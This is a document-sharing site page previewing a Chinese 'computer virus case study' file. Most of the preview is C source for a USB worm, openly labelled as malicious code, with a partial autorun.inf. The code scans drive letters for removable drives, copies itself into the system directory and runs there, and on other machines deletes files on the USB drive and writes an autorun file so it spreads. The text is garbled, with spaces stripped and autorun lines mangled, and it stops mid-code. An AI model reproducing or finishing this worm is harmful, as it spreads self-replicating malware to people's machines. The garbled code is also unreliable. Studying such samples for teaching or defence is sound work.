1 / 5
文档名称:

计算机病毒案例.doc

格式:doc   大小:37KB   页数:5页
下载后只包含 1 个 DOC 格式的文档,没有任何的图纸或源代码,查看文件列表

如果您已付费下载过本站文档,您可以点这里二次下载

分享

预览

计算机病毒案例.doc

上传人:421989820 2020/9/30 文件大小:37 KB

下载得到文件列表

计算机病毒案例.doc

文档介绍

文档介绍:一、[AutoRun]open=\open=打开(&O)shell\mand=\explore=我的资源管理器(&X)shell\\explore\\Command=:U盘恶意代码程序名称:#include""boolSaveToFile(char*Path,char*Data){HANDLEhFile;hFile=CreateFile(Path,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);if(hFile==INVALID_HANDLE_VALUE){/*continue;//出错时处理*/}DWORDdwWrite;WriteFile(hFile,Data,strlen(Data),&dwWrite,NULL);CloseHandle(hFile);returntrue;}BOOLInfectU(){while(true){UINTrevtype;charname[256]="H:\\";charszName[256]={0};chartoPath[256]={0};charinfPath[256]={0};charopenU[80]={0};//遍历所有盘符for(BYTEi=0x42;i<0x5B;i=i+0x01){name[0]=i;//得到盘符类型revtype=GetDriveType(name);//判断是否是可移动存储设备if(revtype==DRIVE_REMOVABLE){//得到自身文件路径GetModuleFileName(NULL,szName,256);//比较是否和U盘的盘符相同//如果相同说明在U盘上执行,复制到系统中去if(strncmp(name,szName,1)==0){//得到系统目录GetSystemDirectory(toPath,256);strcat(toPath,"\\");//把自身文件复制到系统目录if(CopyFile(szName,toPath,TRUE)){//运行程序WinExec(toPath,0);}strcpy(openU,"explorer");strcat(openU,name);//打开U盘WinExec(openU,1);return0;}//如果不是在U盘上执行,则感染U盘else{strcpy(toPath,name);strcat(toPath,"\\");strcpy(infPath,name);strcat(infPath,"\\");//还原U盘上的文件属性SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);//删除原有文件DeleteFile(toPath);DeleteFile(infPath);//*Data;Data="[AutoRun]\r